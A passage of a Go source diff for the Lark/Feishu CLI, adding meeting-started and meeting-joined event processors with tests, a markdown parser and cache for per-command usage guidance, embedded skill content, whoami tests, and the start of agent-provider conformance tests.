ProfileName: "p", AppID: "cli_x", Brand: core.BrandFeishu,
SupportedIdentities: uint8(extcred.SupportsAll), UserOpenId: "ou_x", UserName: "Alice",
}
f, out := externalWhoamiFactory(cfg)
cmd := NewCmdWhoami(f)
cmd.SetArgs([]string{"--as", "user", "--json"})
if err := cmd.Execute(); err != nil {
t.Fatalf("Execute() error = %v", err)
}
var got whoamiResult
if err := json.Unmarshal(out.Bytes(), &got); err != nil {
t.Fatalf("Unmarshal: %v\n%s", err, out.String())
}
if got.Identity != "user" || !got.Available || got.TokenStatus != "ready" {
t.Fatalf("got %#v, want user/available/ready", got)
}
if got.OnBehalfOf == nil || got.OnBehalfOf.UserName != "Alice" || got.OnBehalfOf.OpenID != "ou_x" {
t.Fatalf("onBehalfOf = %#v, want Alice/ou_x (delegated)", got.OnBehalfOf)
}
if got.Hint != "" {
t.Fatalf("hint = %q, want empty when available", got.Hint)
}
}
func TestWhoami_ExternalProvider_UserHintNotKeychain(t *testing.T) {
cfg := &core.CliConfig{
ProfileName: "p", AppID: "cli_x", Brand: core.BrandFeishu,
SupportedIdentities: uint8(extcred.SupportsUser), // user supported but not signed in
}
f, out := externalWhoamiFactory(cfg)
cmd := NewCmdWhoami(f)
cmd.SetArgs([]string{"--as", "user", "--json"})
if err := cmd.Execute(); err != nil {
t.Fatalf("Execute() error = %v", err)
}
var got whoamiResult
if err := json.Unmarshal(out.Bytes(), &got); err != nil {
t.Fatalf("Unmarshal: %v\n%s", err, out.String())
}
if got.Identity != "user" || got.Available {
t.Fatalf("got identity=%q available=%v, want user/false", got.Identity, got.Available)
}
if strings.Contains(got.Hint, "auth login") {
t.Fatalf("hint must not point at auth login under external provider: %q", got.Hint)
}
if !strings.Contains(got.Hint, "external") {
t.Fatalf("hint should explain external management: %q", got.Hint)
}
}

41
content_embed.go Normal file
View File

@@ -0,0 +1,41 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package main
import (
"embed"
"fmt"
"io/fs"
"os"
"github.com/larksuite/cli/cmd"
"github.com/larksuite/cli/internal/affordance"
)
// embeddedContentFS bundles the agent-readable content that must ship in lockstep
// with the binary: each skill's docs (SKILL.md + references/, plus whiteboard's
// routes/ and scenes/) and the per-domain affordance guidance (affordance/*.md).
// Machine-resource skill dirs (assets/, scripts/) are excluded. It's a whitelist —
// a new content type is omitted until added to the embed list. The embed must live
// in this root package because go:embed cannot reach up out of a package's dir.
//
//go:embed skills/*/SKILL.md skills/*/references skills/*/routes skills/*/scenes affordance/*.md
var embeddedContentFS embed.FS
// init wires the embedded content into the CLI. It compiles into `go build .` but
// not the single-file preview build (`go build ./main.go`), so that build stays
// self-contained (shipping no embedded content). Assembly failures warn on stderr
// rather than panicking — embedded content is nice-to-have, not load-bearing.
func init() {
if sub, err := fs.Sub(embeddedContentFS, "skills"); err != nil {
fmt.Fprintln(os.Stderr, "warning: skills embed assembly failed, skills commands disabled:", err)
} else {
cmd.SetEmbeddedSkillContent(sub)
}
if sub, err := fs.Sub(embeddedContentFS, "affordance"); err != nil {
fmt.Fprintln(os.Stderr, "warning: affordance embed assembly failed, command guidance disabled:", err)
} else {
affordance.SetSource(sub)
}
}

View File

@@ -12,8 +12,9 @@ const (
// CategoryValidation subtypes
const (
SubtypeInvalidArgument Subtype = "invalid_argument" // user-supplied flag / arg failed validation (gRPC INVALID_ARGUMENT alignment)
SubtypeFailedPrecondition Subtype = "failed_precondition" // request is valid but the system/resource state is not in the state required to execute; caller must change state (not retry) — e.g. ambiguous remote mapping (gRPC FAILED_PRECONDITION alignment)
SubtypeInvalidArgument Subtype = "invalid_argument" // user-supplied flag / arg failed validation (gRPC INVALID_ARGUMENT alignment)
SubtypeFailedPrecondition Subtype = "failed_precondition" // request is valid but the system/resource state is not in the state required to execute; caller must change state (not retry) — e.g. ambiguous remote mapping (gRPC FAILED_PRECONDITION alignment)
SubtypeUnsupportedCapability Subtype = "unsupported_capability" // the addressed provider/agent does not support the requested capability (capability gating on the agent card); exit 2, no request is sent
)
// CategoryAuthentication subtypes

View File

@@ -0,0 +1,62 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package vc
import (
"context"
"encoding/json"
"github.com/larksuite/cli/internal/event"
)
// VCParticipantMeetingJoinedOutput is the flattened shape for vc.meeting.participant_meeting_joined_v1.
type VCParticipantMeetingJoinedOutput struct {
Type string `json:"type" desc:"Event type; always vc.meeting.participant_meeting_joined_v1"`
EventID string `json:"event_id,omitempty" desc:"Globally unique event ID; safe for deduplication"`
Timestamp string `json:"timestamp,omitempty" desc:"Event delivery time (ms timestamp string); taken from header.create_time when present" kind:"timestamp_ms"`
MeetingID string `json:"meeting_id,omitempty" desc:"Meeting ID" kind:"meeting_id"`
Topic string `json:"topic,omitempty" desc:"Meeting topic"`
MeetingNo string `json:"meeting_no,omitempty" desc:"Meeting number"`
StartTime string `json:"start_time,omitempty" desc:"Meeting start time in RFC3339, converted to the local timezone"`
CalendarEventID string `json:"calendar_event_id,omitempty" desc:"Calendar event ID associated with the meeting"`
}
func processVCParticipantMeetingJoined(_ context.Context, _ event.APIClient, raw *event.RawEvent, _ map[string]string) (json.RawMessage, error) {
var envelope struct {
Header struct {
EventID string `json:"event_id"`
EventType string `json:"event_type"`
CreateTime string `json:"create_time"`
} `json:"header"`
Event struct {
Meeting struct {
ID string `json:"id"`
Topic string `json:"topic"`
MeetingNo string `json:"meeting_no"`
StartTime string `json:"start_time"`
EndTime string `json:"end_time"`
CalendarEventID string `json:"calendar_event_id"`
} `json:"meeting"`
} `json:"event"`
}
if err := json.Unmarshal(raw.Payload, &envelope); err != nil {
return raw.Payload, nil //nolint:nilerr // passthrough on malformed payload so consumers still see the event
}
meeting := envelope.Event.Meeting
out := &VCParticipantMeetingJoinedOutput{
Type: envelope.Header.EventType,
EventID: envelope.Header.EventID,
Timestamp: envelope.Header.CreateTime,
MeetingID: meeting.ID,
Topic: meeting.Topic,
MeetingNo: meeting.MeetingNo,
StartTime: unixSecondsToLocalRFC3339(meeting.StartTime),
CalendarEventID: meeting.CalendarEventID,
}
if out.Type == "" {
out.Type = raw.EventType
}
return json.Marshal(out)
}

View File

@@ -0,0 +1,281 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package vc
import (
"context"
"encoding/json"
"reflect"
"testing"
"time"
"github.com/larksuite/cli/internal/event"
)
func TestVCKeys_ProcessedMeetingLifecycleRegistered(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
for _, tc := range []struct {
eventType string
schemaType reflect.Type
}{
{eventTypeMeetingStarted, reflect.TypeOf(VCParticipantMeetingStartedOutput{})},
{eventTypeMeetingJoined, reflect.TypeOf(VCParticipantMeetingJoinedOutput{})},
} {
t.Run(tc.eventType, func(t *testing.T) {
def, ok := event.Lookup(tc.eventType)
if !ok {
t.Fatalf("%s should be registered via Keys()", tc.eventType)
}
if def.Schema.Custom == nil {
t.Error("Processed key must set Schema.Custom")
}
if def.Schema.Native != nil {
t.Error("Processed key must not set Schema.Native")
}
if def.Process == nil {
t.Error("Process must not be nil for processed key")
}
if def.PreConsume == nil {
t.Error("PreConsume must not be nil for processed key")
}
if len(def.Scopes) != 1 || def.Scopes[0] != "vc:meeting.meetingevent:read" {
t.Errorf("Scopes = %v", def.Scopes)
}
if len(def.AuthTypes) != 1 || def.AuthTypes[0] != "user" {
t.Errorf("AuthTypes = %v", def.AuthTypes)
}
if len(def.RequiredConsoleEvents) != 1 || def.RequiredConsoleEvents[0] != tc.eventType {
t.Errorf("RequiredConsoleEvents = %v", def.RequiredConsoleEvents)
}
if def.Schema.Custom.Type != tc.schemaType {
t.Errorf("Custom schema Type = %v, want %v", def.Schema.Custom.Type, tc.schemaType)
}
})
}
}
func TestProcessVCParticipantMeetingLifecycle(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
for _, tc := range []struct {
name string
eventType string
process event.ProcessFunc
}{
{
name: "started",
eventType: eventTypeMeetingStarted,
process: processVCParticipantMeetingStarted,
},
{
name: "joined",
eventType: eventTypeMeetingJoined,
process: processVCParticipantMeetingJoined,
},
} {
t.Run(tc.name, func(t *testing.T) {
payload := `{
"schema": "2.0",
"header": {
"event_id": "ev_vc_lifecycle_001",
"event_type": "` + tc.eventType + `",
"create_time": "1608725989000",
"app_id": "cli_test"
},
"event": {
"meeting": {
"id": "6911188411934433028",
"topic": "my meeting",
"meeting_no": "235812466",
"start_time": "1608883322",
"end_time": "1608883899",
"calendar_event_id": "efa67a98-06a8-4df5-8559-746c8f4477ef_0"
}
}
}`
out := runMeetingLifecycleMap(t, tc.eventType, tc.process, payload)
if out["type"] != tc.eventType {
t.Errorf("type = %q", out["type"])
}
if out["event_id"] != "ev_vc_lifecycle_001" {
t.Errorf("event_id = %q", out["event_id"])
}
if out["timestamp"] != "1608725989000" {
t.Errorf("timestamp = %q", out["timestamp"])
}
if out["meeting_id"] != "6911188411934433028" {
t.Errorf("meeting_id = %q", out["meeting_id"])
}
if out["topic"] != "my meeting" || out["meeting_no"] != "235812466" {
t.Errorf("topic/meeting_no = %q/%q", out["topic"], out["meeting_no"])
}
if out["calendar_event_id"] != "efa67a98-06a8-4df5-8559-746c8f4477ef_0" {
t.Errorf("calendar_event_id = %q", out["calendar_event_id"])
}
if want := time.Unix(1608883322, 0).Local().Format(time.RFC3339); out["start_time"] != want {
t.Errorf("start_time = %q, want %q", out["start_time"], want)
}
if _, hasEndTime := out["end_time"]; hasEndTime {
t.Error("end_time should not be present in started/joined output")
}
})
}
}
func TestProcessVCParticipantMeetingLifecycle_InvalidMeetingTimes(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
for _, tc := range []struct {
name string
eventType string
process event.ProcessFunc
}{
{"started", eventTypeMeetingStarted, processVCParticipantMeetingStarted},
{"joined", eventTypeMeetingJoined, processVCParticipantMeetingJoined},
} {
t.Run(tc.name, func(t *testing.T) {
payload := `{
"schema": "2.0",
"header": {
"event_id": "ev_vc_lifecycle_002",
"event_type": "` + tc.eventType + `",
"create_time": "1608725989001"
},
"event": {
"meeting": {
"id": "meeting_invalid_time",
"start_time": "bad",
"end_time": ""
}
}
}`
out := runMeetingLifecycleRaw(t, tc.eventType, tc.process, payload)
switch tc.eventType {
case eventTypeMeetingStarted:
var started VCParticipantMeetingStartedOutput
if err := json.Unmarshal(out, &started); err != nil {
t.Fatalf("Process output is not valid started JSON: %v\nraw=%s", err, string(out))
}
if started.StartTime != "" {
t.Errorf("StartTime = %q, want empty string", started.StartTime)
}
case eventTypeMeetingJoined:
var joined VCParticipantMeetingJoinedOutput
if err := json.Unmarshal(out, &joined); err != nil {
t.Fatalf("Process output is not valid joined JSON: %v\nraw=%s", err, string(out))
}
if joined.StartTime != "" {
t.Errorf("StartTime = %q, want empty string", joined.StartTime)
}
}
})
}
}
func TestProcessVCParticipantMeetingLifecycle_MalformedPayload(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
for _, tc := range []struct {
name string
eventType string
process event.ProcessFunc
}{
{"started", eventTypeMeetingStarted, processVCParticipantMeetingStarted},
{"joined", eventTypeMeetingJoined, processVCParticipantMeetingJoined},
} {
t.Run(tc.name, func(t *testing.T) {
raw := &event.RawEvent{
EventType: tc.eventType,
Payload: json.RawMessage(`not json`),
Timestamp: time.Now(),
}
got, err := tc.process(context.Background(), nil, raw, nil)
if err != nil {
t.Fatalf("Process should swallow parse errors, got %v", err)
}
if string(got) != "not json" {
t.Errorf("malformed fallback output = %q, want original bytes", string(got))
}
})
}
}
func TestVCParticipantMeetingLifecycle_PreConsumeSubscriptionLifecycle(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
for _, eventType := range []string{eventTypeMeetingStarted, eventTypeMeetingJoined} {
t.Run(eventType, func(t *testing.T) {
def, ok := event.Lookup(eventType)
if !ok {
t.Fatalf("%s should be registered via Keys()", eventType)
}
type call struct {
method string
path string
body any
}
var calls []call
rt := &stubAPIClient{
callFn: func(_ context.Context, method, path string, body any) (json.RawMessage, error) {
calls = append(calls, call{method: method, path: path, body: body})
return json.RawMessage(`{"code":0,"msg":"success","data":{}}`), nil
},
}
cleanup, err := def.PreConsume(context.Background(), rt, nil)
if err != nil {
t.Fatalf("PreConsume error: %v", err)
}
if cleanup == nil {
t.Fatal("cleanup must not be nil")
}
if len(calls) != 1 {
t.Fatalf("calls after subscribe = %d, want 1", len(calls))
}
if calls[0].method != "POST" || calls[0].path != pathMeetingSubscribe {
t.Fatalf("subscribe call = %+v", calls[0])
}
assertSubscriptionRequest(t, calls[0].body, eventType)
cleanup()
if len(calls) != 2 {
t.Fatalf("calls after cleanup = %d, want 2", len(calls))
}
if calls[1].method != "POST" || calls[1].path != pathMeetingUnsubscribe {
t.Fatalf("unsubscribe call = %+v", calls[1])
}
assertSubscriptionRequest(t, calls[1].body, eventType)
})
}
}
func runMeetingLifecycleMap(t *testing.T, eventType string, process event.ProcessFunc, payload string) map[string]string {
t.Helper()
got := runMeetingLifecycleRaw(t, eventType, process, payload)
if got == nil {
t.Fatal("Process output is nil")
}
var out map[string]string
if err := json.Unmarshal(got, &out); err != nil {
t.Fatalf("Process output is not valid flat JSON object: %v\nraw=%s", err, string(got))
}
return out
}
func runMeetingLifecycleRaw(t *testing.T, eventType string, process event.ProcessFunc, payload string) json.RawMessage {
t.Helper()
raw := &event.RawEvent{
EventType: eventType,
Payload: json.RawMessage(payload),
Timestamp: time.Now(),
}
got, err := process(context.Background(), nil, raw, nil)
if err != nil {
t.Fatalf("Process error: %v", err)
}
return got
}

View File

@@ -0,0 +1,61 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package vc
import (
"context"
"encoding/json"
"github.com/larksuite/cli/internal/event"
)
// VCParticipantMeetingStartedOutput is the flattened shape for vc.meeting.participant_meeting_started_v1.
type VCParticipantMeetingStartedOutput struct {
Type string `json:"type" desc:"Event type; always vc.meeting.participant_meeting_started_v1"`
EventID string `json:"event_id,omitempty" desc:"Globally unique event ID; safe for deduplication"`
Timestamp string `json:"timestamp,omitempty" desc:"Event delivery time (ms timestamp string); taken from header.create_time when present" kind:"timestamp_ms"`
MeetingID string `json:"meeting_id,omitempty" desc:"Meeting ID" kind:"meeting_id"`
Topic string `json:"topic,omitempty" desc:"Meeting topic"`
MeetingNo string `json:"meeting_no,omitempty" desc:"Meeting number"`
StartTime string `json:"start_time,omitempty" desc:"Meeting start time in RFC3339, converted to the local timezone"`
CalendarEventID string `json:"calendar_event_id,omitempty" desc:"Calendar event ID associated with the meeting"`
}
func processVCParticipantMeetingStarted(_ context.Context, _ event.APIClient, raw *event.RawEvent, _ map[string]string) (json.RawMessage, error) {
var envelope struct {
Header struct {
EventID string `json:"event_id"`
EventType string `json:"event_type"`
CreateTime string `json:"create_time"`
} `json:"header"`
Event struct {
Meeting struct {
ID string `json:"id"`
Topic string `json:"topic"`
MeetingNo string `json:"meeting_no"`
StartTime string `json:"start_time"`
CalendarEventID string `json:"calendar_event_id"`
} `json:"meeting"`
} `json:"event"`
}
if err := json.Unmarshal(raw.Payload, &envelope); err != nil {
return raw.Payload, nil //nolint:nilerr // passthrough on malformed payload so consumers still see the event
}
meeting := envelope.Event.Meeting
out := &VCParticipantMeetingStartedOutput{
Type: envelope.Header.EventType,
EventID: envelope.Header.EventID,
Timestamp: envelope.Header.CreateTime,
MeetingID: meeting.ID,
Topic: meeting.Topic,
MeetingNo: meeting.MeetingNo,
StartTime: unixSecondsToLocalRFC3339(meeting.StartTime),
CalendarEventID: meeting.CalendarEventID,
}
if out.Type == "" {
out.Type = raw.EventType
}
return json.Marshal(out)
}

View File

@@ -11,6 +11,8 @@ import (
)
const (
eventTypeMeetingStarted = "vc.meeting.participant_meeting_started_v1"
eventTypeMeetingJoined = "vc.meeting.participant_meeting_joined_v1"
eventTypeMeetingEnded = "vc.meeting.participant_meeting_ended_v1"
eventTypeNoteGenerated = "vc.note.generated_v1"
eventTypeRecordingStarted = "vc.recording.recording_started_v1"
@@ -30,6 +32,38 @@ const (
// Keys returns all VC-domain EventKey definitions.
func Keys() []event.KeyDefinition {
return []event.KeyDefinition{
{
Key: eventTypeMeetingStarted,
DisplayName: "Participant meeting started",
Description: "Triggered when a meeting the current user participates in has started",
EventType: eventTypeMeetingStarted,
Schema: event.SchemaDef{
Custom: &event.SchemaSpec{Type: reflect.TypeOf(VCParticipantMeetingStartedOutput{})},
},
Process: processVCParticipantMeetingStarted,
PreConsume: subscriptionPreConsume(eventTypeMeetingStarted, pathMeetingSubscribe, pathMeetingUnsubscribe),
Scopes: []string{"vc:meeting.meetingevent:read"},
AuthTypes: []string{
"user",
},
RequiredConsoleEvents: []string{eventTypeMeetingStarted},
},
{
Key: eventTypeMeetingJoined,
DisplayName: "Participant meeting joined",
Description: "Triggered when the current user joins a meeting",
EventType: eventTypeMeetingJoined,
Schema: event.SchemaDef{
Custom: &event.SchemaSpec{Type: reflect.TypeOf(VCParticipantMeetingJoinedOutput{})},
},
Process: processVCParticipantMeetingJoined,
PreConsume: subscriptionPreConsume(eventTypeMeetingJoined, pathMeetingSubscribe, pathMeetingUnsubscribe),
Scopes: []string{"vc:meeting.meetingevent:read"},
AuthTypes: []string{
"user",
},
RequiredConsoleEvents: []string{eventTypeMeetingJoined},
},
{
Key: eventTypeMeetingEnded,
DisplayName: "Participant meeting ended",

View File

@@ -0,0 +1,96 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// Package affordance is the lazily-loaded store of usage guidance for
// service-API methods. The source of truth is one markdown file per service in
// the top-level affordance/ tree (see mdparse.go), injected via SetSource so
// domain owners maintain it next to skills/ and shortcuts/. A service is read
// and parsed at most once, on first access, so normal command execution never
// touches it.
package affordance
import (
"encoding/json"
"io/fs"
"strings"
"sync"
"github.com/larksuite/cli/internal/apicatalog"
"github.com/larksuite/cli/internal/registry"
)
var (
mu sync.Mutex
byService = map[string]map[string]json.RawMessage{}
tried = map[string]bool{}
mdSource fs.FS // top-level affordance/*.md tree; nil in the minimal preview build
)
// SetSource installs the markdown guidance tree (the top-level affordance/
// directory) as the source. Called once at startup before any lookup; clears
// the parse cache so re-sourcing (e.g. in tests) takes effect.
func SetSource(fsys fs.FS) {
mu.Lock()
defer mu.Unlock()
mdSource = fsys
byService = map[string]map[string]json.RawMessage{}
tried = map[string]bool{}
}
// For returns the raw affordance overlay for one method, loading the owning
// service on first access. ok is false when there is no entry (absent source,
// parse failure, or unknown method all collapse to "no guidance").
func For(service, methodID string) (json.RawMessage, bool) {
mu.Lock()
defer mu.Unlock()
if !tried[service] {
tried[service] = true
byService[service] = loadService(service)
}
raw, ok := byService[service][methodID]
return raw, ok && len(raw) > 0
}
// loadService parses a service's markdown guidance into per-method overlays,
// marshalling each to JSON so downstream callers keep the same wire shape.
func loadService(service string) map[string]json.RawMessage {
if mdSource == nil {
return nil
}
src, err := fs.ReadFile(mdSource, service+".md")
if err != nil {
return nil
}
m := map[string]json.RawMessage{}
for id, a := range parseDomainMD(src, commandFormResolver(service)) {
if b, err := json.Marshal(a); err == nil {
m[id] = b
}
}
return m
}
// commandFormResolver maps a method's command-form heading ("user_mailbox.messages
// list") to its method id ("user_mailbox.message.list") via the registry's
// authoritative resource↔id table. Resource names are irregularly pluralised
// (message/messages, user_mailbox/user_mailboxes), so this cannot be guessed; the
// space→dot fallback covers domains where the two already coincide.
func commandFormResolver(service string) func(string) string {
byForm := map[string]string{}
for _, svc := range registry.EmbeddedServicesTyped() {
if svc.Name != service {
continue
}
for _, ref := range apicatalog.ServiceMethods(svc, nil) {
byForm[strings.Join(ref.CommandPath()[1:], " ")] = ref.Method.ID
}
break
}
return func(h string) string {
h = strings.TrimSpace(h)
if id, ok := byForm[h]; ok {
return id
}
return strings.ReplaceAll(h, " ", ".")
}
}

View File

@@ -0,0 +1,86 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package affordance
import (
"encoding/json"
"testing"
"testing/fstest"
)
// fixtureMD is a minimal affordance source: two methods, each with a lead
// paragraph (use_when) and a fenced example.
const fixtureMD = "# approval\n" +
"> skill: lark-approval\n\n" +
"## instances cc\n" +
"把一个审批实例抄送给指定用户。\n\n" +
"### Examples\n\n" +
"**抄送给用户**\n" +
"```bash\n" +
"lark-cli approval instances cc --data '{\"instance_code\":\"x\"}'\n" +
"```\n\n" +
"## instances get\n" +
"查询某审批实例详情。\n\n" +
"### Examples\n\n" +
"**按 code 查询**\n" +
"```bash\n" +
"lark-cli approval instances get --instance-code \"x\"\n" +
"```\n"
func TestFor(t *testing.T) {
prev := mdSource
t.Cleanup(func() { SetSource(prev) }) // SetSource mutates package state; restore for test isolation
SetSource(fstest.MapFS{"approval.md": &fstest.MapFile{Data: []byte(fixtureMD)}})
// A seeded method in a seeded service resolves to its overlay.
raw, ok := For("approval", "instances.cc")
if !ok {
t.Fatal(`For("approval","instances.cc") ok=false, want an overlay`)
}
var a struct {
UseWhen []string `json:"use_when"`
Examples []struct {
Command string `json:"command"`
} `json:"examples"`
}
if err := json.Unmarshal(raw, &a); err != nil {
t.Fatalf("overlay is not valid affordance JSON: %v", err)
}
if len(a.UseWhen) == 0 || len(a.Examples) == 0 || a.Examples[0].Command == "" {
t.Errorf("overlay missing use_when/examples: %s", raw)
}
// Misses: unknown method in a known service, and an unknown service, both
// resolve to ok=false (no panic, no error) so callers treat them as "no
// guidance".
if _, ok := For("approval", "instances.no_such_method"); ok {
t.Error("unknown method should be ok=false")
}
if _, ok := For("no_such_service", "x.y"); ok {
t.Error("unknown service should be ok=false")
}
// A second lookup of the same service is served from cache (parsed at most
// once) and stays consistent.
if _, ok := For("approval", "instances.get"); !ok {
t.Error("second lookup in a cached service should still resolve")
}
}
// Non-bullet paragraph lines under any section are preserved as items, not
// dropped (regression: they previously only updated pending, lost without a fence).
func TestParseDomainMD_ParagraphNotDropped(t *testing.T) {
md := "# d\n\n## foo bar\nwhat it does.\n\n### Tips\n- a bullet\nplain paragraph note.\n\n### See also\nrun [[other cmd]] first.\n"
got := parseDomainMD([]byte(md), nil) // nil resolver -> space->dot, "foo bar" -> "foo.bar"
a, ok := got["foo.bar"]
if !ok {
t.Fatal("method not parsed")
}
if len(a.Tips) != 2 || a.Tips[1] != "plain paragraph note." {
t.Errorf("Tips paragraph dropped: %v", a.Tips)
}
if len(a.Extensions) != 1 || len(a.Extensions[0].Items) != 1 || a.Extensions[0].Items[0] != "run `other cmd` first." {
t.Errorf("custom-section paragraph not flowed through: %+v", a.Extensions)
}
}

View File

@@ -0,0 +1,180 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package affordance
import (
"regexp"
"strings"
"github.com/larksuite/cli/internal/meta"
)
// The affordance source is a narrow, fixed markdown subset (see src/*.md):
//
// # domain optional `> skill: <name>` applied to every method
// ## command e.g. `instances get`
// <lead paragraph> -> use_when (when this command is right)
// ### Avoid when -> avoid_when (links become prefer/alternative edges)
// ### Prerequisites -> prerequisites (a "…来自 [[x]]" link is a sequence edge)
// ### Tips -> tips
// ### Examples -> examples: **description** + a ```fenced``` command
// ### <other> -> extensions[] (custom section, flows through verbatim)
// [[cmd]] -> a command reference, rendered as `cmd`
//
// Parsing is lazy and cached (see For), so the constrained grammar is read at
// most once per domain.
var mdLink = regexp.MustCompile(`\[\[(.+?)\]\]`)
// standardSection maps a section heading to its typed Affordance field; any
// other heading becomes an extension.
var standardSection = map[string]string{
"Avoid when": "avoid_when",
"Prerequisites": "prerequisites",
"Tips": "tips",
"Examples": "examples",
}
func linkToBacktick(s string) string { return mdLink.ReplaceAllString(s, "`$1`") }
// headingToKey maps a command heading ("instances get") to its affordance key
// ("instances.get"). The space→dot rule holds where the command form matches
// the method id; domains whose resource names differ (e.g. plural "messages"
// vs id segment "message") need the registry's authoritative resource↔id table.
func headingToKey(h string) string {
return strings.ReplaceAll(strings.TrimSpace(h), " ", ".")
}
type mdSection struct {
label string
items []string
cases []meta.AffordanceCase
}
// parseDomainMD parses one domain's markdown into per-method Affordance values,
// keyed by method id. resolve maps a command-form heading ("user_mailbox.messages
// list") to its method id ("user_mailbox.message.list"); nil falls back to the
// space→dot rule (valid only where the command form already equals the id).
func parseDomainMD(src []byte, resolve func(string) string) map[string]meta.Affordance {
if resolve == nil {
resolve = headingToKey
}
out := map[string]meta.Affordance{}
var skill, curKey string
var useWhen, para []string // lead paragraphs -> use_when entries (blank line separates)
var secs []*mdSection
var sec *mdSection
var pending string
var fence []string
inFence := false
assemble := func() {
if curKey == "" {
return
}
if len(para) > 0 {
useWhen = append(useWhen, strings.TrimSpace(strings.Join(para, " ")))
para = nil
}
var a meta.Affordance
if len(useWhen) > 0 {
a.UseWhen = useWhen
}
for _, s := range secs {
switch standardSection[s.label] {
case "avoid_when":
a.AvoidWhen = s.items
case "prerequisites":
a.Prerequisites = s.items
case "tips":
a.Tips = s.items
case "examples":
a.Examples = s.cases
default:
a.Extensions = append(a.Extensions, meta.AffordanceSection{Label: s.label, Items: s.items})
}
}
if skill != "" {
a.Skills = []string{skill}
}
out[curKey] = a
}
reset := func() { useWhen, para, secs, sec, pending, fence, inFence = nil, nil, nil, nil, "", nil, false }
// flushPending appends a non-bullet paragraph line that was not consumed as
// an example description (i.e. no fence followed) to the current section's
// items, so prose under any section is preserved rather than dropped.
flushPending := func() {
if sec != nil && pending != "" {
sec.items = append(sec.items, linkToBacktick(pending))
pending = ""
}
}
for _, raw := range strings.Split(string(src), "\n") {
line := strings.TrimRight(raw, "\r")
t := strings.TrimSpace(line)
switch {
case strings.HasPrefix(line, "## "):
flushPending()
assemble()
curKey = resolve(line[3:])
reset()
continue
case strings.HasPrefix(line, "# "):
continue
case strings.HasPrefix(t, "> skill:"):
skill = strings.TrimSpace(t[len("> skill:"):])
continue
case strings.HasPrefix(line, "### "):
flushPending()
sec = &mdSection{label: strings.TrimSpace(line[4:])}
secs = append(secs, sec)
pending, fence, inFence = "", nil, false
continue
}
if curKey == "" {
continue
}
if sec == nil { // lead paragraphs before any section -> use_when (blank line separates entries)
if t == "" {
if len(para) > 0 {
useWhen = append(useWhen, strings.Join(para, " "))
para = nil
}
} else {
para = append(para, t)
}
continue
}
// inside a section: a fenced block is an example command; otherwise the
// shape follows the writing (bullet item vs **description** before a fence).
if strings.HasPrefix(t, "```") {
if !inFence {
inFence, fence = true, nil
} else {
inFence = false
sec.cases = append(sec.cases, meta.AffordanceCase{Description: pending, Command: strings.Join(fence, "\n")})
pending = ""
}
continue
}
if inFence {
fence = append(fence, line)
continue
}
if strings.HasPrefix(t, "-") {
flushPending()
sec.items = append(sec.items, linkToBacktick(strings.TrimSpace(t[1:])))
} else if t != "" {
flushPending()
pending = strings.Trim(t, "* ")
}
}
flushPending()
assemble()
return out
}

View File

@@ -0,0 +1,156 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// Package agenttest provides provider conformance tests: a new integrator calls
// RunConformance in its own test to lock down registration metadata, offline
// resolution, the mandatory core hooks, and single-sourced card derivation. All
// assertions run offline (no runtime, no API calls).
package agenttest
import (
"context"
"reflect"
"strings"
"testing"
"github.com/larksuite/cli/internal/agent"
)
// RunConformance runs the full set of conformance assertions against a
// registered scheme. sampleAgentID must be a valid agent id (catalog: an id from
// the Catalog; instance: any non-empty id).
func RunConformance(t *testing.T, scheme, sampleAgentID string) {
t.Helper()
prov, ok := agent.Info(scheme)
if !ok {
t.Fatalf("conformance: scheme %q not registered (the top-level agent package must be imported to trigger init registration)", scheme)
}
t.Run("metadata", func(t *testing.T) {
if prov.Scheme != scheme {
t.Errorf("conformance: Provider.Scheme should be %q, got %q", scheme, prov.Scheme)
}
if prov.Label == "" {
t.Error("conformance: Provider.Label must not be empty")
}
if prov.AgentIDSource == "" {
t.Error("conformance: Provider.AgentIDSource must not be empty")
}
if len(prov.Identities) == 0 {
t.Error("conformance: Identities must not be empty")
}
for i, id := range prov.Identities {
if id.Type != agent.IdentityUser && id.Type != agent.IdentityBot {
t.Errorf("conformance: Identities[%d].Type should be user|bot, got %q", i, id.Type)
}
}
// Exactly one of Catalog / Instance is set (Register enforces; re-assert).
if (len(prov.Catalog) > 0) == (prov.Instance != nil) {
t.Error("conformance: exactly one of Catalog / Instance must be set")
}
seen := make(map[string]bool, len(prov.RequiredScopes))
for _, s := range prov.RequiredScopes {
if seen[s] {
t.Errorf("conformance: RequiredScopes contains duplicate %q", s)
}
seen[s] = true
}
})
t.Run("lookup", func(t *testing.T) {
gotProv, spec, agentID, err := agent.LookupSpec(scheme + ":" + sampleAgentID)
if err != nil {
t.Fatalf("conformance: LookupSpec(%s:%s) offline should succeed, got %v", scheme, sampleAgentID, err)
}
if gotProv.Scheme != scheme {
t.Errorf("conformance: LookupSpec provider scheme should be %q, got %q", scheme, gotProv.Scheme)
}
if agentID != sampleAgentID {
t.Errorf("conformance: LookupSpec should echo the agent id %q, got %q", sampleAgentID, agentID)
}
// Core hooks are mandatory (the command layer dispatches them without a
// nil-check); Register enforces this at registration, re-assert here.
if spec.Send == nil {
t.Error("conformance: spec.Send (core) must be wired")
}
if spec.GetTask == nil {
t.Error("conformance: spec.GetTask (core) must be wired")
}
})
t.Run("card", func(t *testing.T) {
buildCard := func() *agent.AgentCard {
t.Helper()
_, spec, agentID, err := agent.LookupSpec(scheme + ":" + sampleAgentID)
if err != nil {
t.Fatalf("conformance: LookupSpec returned error: %v", err)
}
